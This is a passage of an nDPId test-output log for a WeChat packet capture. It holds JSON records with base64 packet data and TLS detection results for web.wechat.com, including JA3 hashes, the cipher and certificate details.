+02107{"flow_id":33,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":84612,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUMDtJAAEAGAZvAqAFny82XotNUAbuiFha+X4ugQYAYARXHcwAAAQEICgAxHaFF0geFFwMDBNMAAAAAAAAAAR3iS1C2zVdqt818j2V1AiBf6UJ+k1ajP+hPcA6ZaYO6QG1EI0V+qZOYYf829zKyM9HQwhpghq4FW557NyYcbY2QTbPztrqwDxaZpQyOlIGu0vbir1aEoWCT6MZ\/XE3W8+7QTd6WhoWUcoiPq+3G4NMdEENs0QwJvRMO7RovLuDhJbdxve+C2yTVR+S0aOnjOOSTk6W0Lyatd1nukKkQLmKk3u\/Db564dRnHhWL3BT+pRo+irQm5K\/3DXsyuZejR+18VRBN6oWdj99uqv96JsUmrU05J\/kyDJKYrsKpCq1Iy1vW+BycLnRaC27Sm+sOBG52f8Uz8uIVaq7tNp4l0ijXAerfw5LhD7LhmVFerHk\/EVjGXS7WMopb5TZBOiO0P79l7K7gqWE+i99S4pPiEAoulb3yKd5ZOxuGDjWlPXG3vTxYxvhNKBswER4jet7arTc0728EVqPx3WPkbznZSZKOxzG71oH0vpIqdW015UjMJyTPGH3gniVVExyPG5ldb6OqYQEvUOwmI8X86HtJBabpDWWkonoJ36QYMoixUqrEjCDCpI3I8nild2PLQZYlvd4qwxE6U1T8OiRDFZ+DvZmOpeRaUajX4fFEV10jzNsUnbD1Q8\/FPMpfM4v5BIF\/8bMBW\/C88WDS4wX3IfizYufrKsAcPIvEDpsLSFw+2OxzRgnVUpLk2kNAKTjlBkN9lnzAgkZKT9YNwKsdAL87PkFa3WfZwKT32YrMXPEmy6HGgLQXJ8xRODVE4gbePgySsJTyt\/oE4jS+V+d4tEzkWrZUEPz58JOJaJ4LYcGcVeay\/gtmZAfh\/dWcYK5tdhkDwqyElqyuCPXOewpH9f25dV43K22sDJBI9elGbrAV76nzDQJZjt4oTY14EbLv\/ABmrTZGYD8Gl7MRaiWtMzCCU8tbS7hh+Egys8wQebsWB+JpalwBLkacx+ou0FmgPGu25p4fJKWbGP+98GqdhyqLbZrCoFGTijJs1DBOUj+hAHOiUkH9KuaHEbGglvuNriPIOPsRwT7Ba5Kfi7g3kh6MfXTKEdDxAz8dZ6ZU23+pvmtEwNVqJMr3beZ\/sTasozYVuEpoUkbkto766BHf36SeemWaLiRottQSm3a6P2pEPmlfMN2BBMTwv\/Ku1\/8lr+c9jyF568Cm6yHFKhL3+A\/d0t0eJ\/oCcIFSgsFpFGs+pMhKc3r\/qeKR5r7RE54XYBiAeN+h7ZRls8Brtj4iTaBA0O3CwNYCYgC116jAm8c46XWmmg8JgFtRqgpFpiUkpL8yRoZ1rRhDhaPRN1j7SH73kSzr6nJObLXp6ksAWEp+okWPN6JRnXHD\/6U6nC4vRYgcpLdAyonX\/+5Bh4h9Cof8J795MKp8tQgvbvZDOgaajJOLXt5Q1N2WdhJHD8IwCRwqbQvy5ANalhvNZFz4bfaalGqy7F5lI9WjmslQs\/eaNCyo7ULm6c8V7ylUvCRbA3GqAq7K0roB4Wxmam86dxv1aXrSNxN28SSnnpkXS8w7CL530I5v+Hzf8rCtiClLxNHM8M7yvWg6hZ7TZiBXw0Mh6Yf0SauRXDNw8g52XyV5NlFj53vz2yvIFc2K9WtL0RJnDFSHe4u55hDkAqTZptWkOqTy8zctLBpJk1xg2TA=="} +01069{"flow_id":33,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":89189,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"8IQvSpdgeJKcD6iOCABFAAIPDtNAAEAGBJfAqAFny82XotNUAbuiFhuWX4ugQYAYARUtwQAAAQEICgAxHaJF0geFFwMDAdYAAAAAAAAAAjCzXzV3NG55tysMmI01A0QawQKFiPB2YLgGazQfU83WRrCqYqvYZaoahgTyGhhR8OpxNgyiOhsBzGTVY3qrP\/Jgw0+huGS01956KIo2JCrmSGPA22cdsksfy77E+N69p+yxEvEl42WJmJqyZhBBDQbAsHrdw0lriW2L6uVO9om39xEl0QXJBlIlmevCd0BSAtnRk1diTX+KNhvChTab8Ro8eVKlHlwOCcPPe2tBts1++cA3xvMA4+wfymy+TZV9iBG1GvPw0Al4XVbJxjMzzT\/GFujlS90D+g5iRJ1sIgq3HlZl6UXJKBlVcIOrnscjGy55U3NQDBgO5Q7NOvuYjN4dWS3AISIU+jOB2HPrGU9mvUG6qqi4MqZbhv4xIKTeZaKKg3GhUtSeyyFIxlp9ZOXmYX3\/k+kB7PiZwOxnRfqv8XCmSOk4oo7eHe2HPUyk6NPBbHPXj\/XDvufjqp6\/bclIqyhIrfMuJfJacd13Ljb644yCzi+Y9509IabjTl7yRt1uEniQokFNFBYuWPNs5RFMSpi+R2+gvO8j6QLp2LGwnlxgP7g2iIRztNkmBv+AT6AsKKBnuKmU\/9sBDH2NId2yCHl7rNxgM8HvZBn4RA=="} +00424{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":176105,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0TYZAACwG2x7LzZeiwKgBZwG701bGHEofHTttEYAQAHh2NQAAAQEICkXSB5kAMR1a"} +04611{"flow_id":35,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":179324,"pkt_caplen":3182,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3182,"pkt_l4_len":3148,"pkt":"eJKcD6iO8IQvSpdgCABFoAxgTYdAACwGzvHLzZeiwKgBZwG701bGHEofHTttEYAYAHgx0gAAAQEICkXSB5oAMR1aFgMDAF0CAABZAwOmYbJLVdEO1ex7gY39w3pjblOvuQdKqKCbcmULhSMqtyAeq8lCW6rjUSzPbiceDj7yEdXWbqYjSjHYCRN7e3dLe8AvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26Ni6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQqe8spAPs0X7RSbctKEExQii\/nZR21jBCdajGyxYXcWPJe1w6JPBIlstH2Aoln9E4iU5tSUXZOZdyF8FrZVEJaBgEBAMWGbVtOArJVXT\/6qrGzFQuyzq4Bk47TGF1wjrD7pK8SjxPeYu51kidDbiWdIZgua7gWIBY8p4rVnzXyLHfYGXxlyEdc+TelbHvVdjVaVY39\/ANn+Cxe5u1b8iGn32lm7alsSei+HgOQxj6CEKlIXiPl8DkLoVWpvOn5F0W4pUWDnmydd9BWtXpSD8A30RKRjZukcNrjqcpryQ6MKXfADTHQP8xvJHo+FlaSOZNCJocZpCSmvyTbr9r5QWU0B1RdEtBLvLPInRdqdbnGdw0JoEpqQPTuKmpaSjlbgEojQMf2718xrBgfpXJxb\/Uv7A5CiibTbmbTIvEbYT4D\/OIrVj0WAwMABA4AAAA="} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":544,"source":"wechat.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":6,"flow_first_seen":1492167454458,"flow_last_seen":1492167455179,"flow_tot_l4_data_len":3562,"flow_min_l4_data_len":32,"flow_max_l4_data_len":3148,"flow_avg_l4_data_len":593,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54102,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":35,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":179351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cSlAAEAGpBvAqAFny82XotNWAbsdO20RxhxWS4AQARVpDQAAAQEICgAxHbhF0gea"} +00438{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":179366,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG701d\/O17O5\/QrvaASN8geewAAAgQFoAQCCApFraI2ADEdXgEDAwc="} +00424{"flow_id":36,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":179381,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0NuNAAEAG3mHAqAFny82XotNXAbvn9Cu9fztez4AQAOWDvAAAAQEICgAxHbhFraI2"} +00596{"flow_id":35,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":549,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":180353,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACycSpAAEAGo5zAqAFny82XotNWAbsdO20RxhxWS4AYARXAvgAAAQEICgAxHblF0geaFgMDAEYQAABCQQT6mbFqrS3fjAwophItOMwj+qLk5VGgJXN36xSlo0GL+1w788l2beA+lKcqQIgQCQhuR7wPprFiAQeCn1u6Sl5IFAMDAAEBFgMDACgAAAAAAAAAAOd5V0DLp\/WK+k8tV1TnsQdr1hYfhUS8aZPXAvoeqGeZ"} +00750{"flow_id":36,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":550,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":180487,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiNuRAAEAG3XLAqAFny82XotNXAbvn9Cu9fztez4AYAOU9hQAAAQEICgAxHblFraI2FgMBAOkBAADlAwM9fcE0colRywJmHYx0JC6oiZlXQMNTk+HTiXDSO5d6\/iAcYMK9E59njED1hK3WStu15DAHEEhJMQg30HN\/4iKe5QAgOjrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8ysoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIenoAHQAXABg6OgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":550,"source":"wechat.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":4,"flow_first_seen":1492167454818,"flow_last_seen":1492167455180,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54103,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00424{"flow_id":34,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":190875,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0UbtAAC4G1OnLzZeiwKgBZwG701XgAvOAnuz1bYAQAHgOWgAAAQEICkWtojsAMR1j"} +02345{"flow_id":34,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":193294,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIUbxAAC4Gz1TLzZeiwKgBZwG701XgAvOAnuz1bYAQAHgpRwAAAQEICkWtojwAMR1jFgMDAF0CAABZAwN5lLx\/anNa5CdWKHFAWo2KsKhrZTHGO\/XekBGAWPpWUCB66mvcfG4Ged5EomNnAZ+CIUduULHJ6+CXsjslEbhhf8AvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":558,"source":"wechat.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":6,"flow_first_seen":1492167454457,"flow_last_seen":1492167455193,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54101,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":34,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":193307,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA06X1AAEAGK8fAqAFny82XotNVAbue7PVt4AL5FIAQAPsH6QAAAQEICgAxHbxFraI8"} +02697{"flow_id":34,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":560,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167455,"pkt_ts_usec":196100,"pkt_caplen":1754,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1754,"pkt_l4_len":1720,"pkt":"eJKcD6iO8IQvSpdgCABFoAbMUb1AAC4Gzk\/LzZeiwKgBZwG701XgAvkUnuz1bYAYAHgsPgAAAQEICkWtojwAMR1ji6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi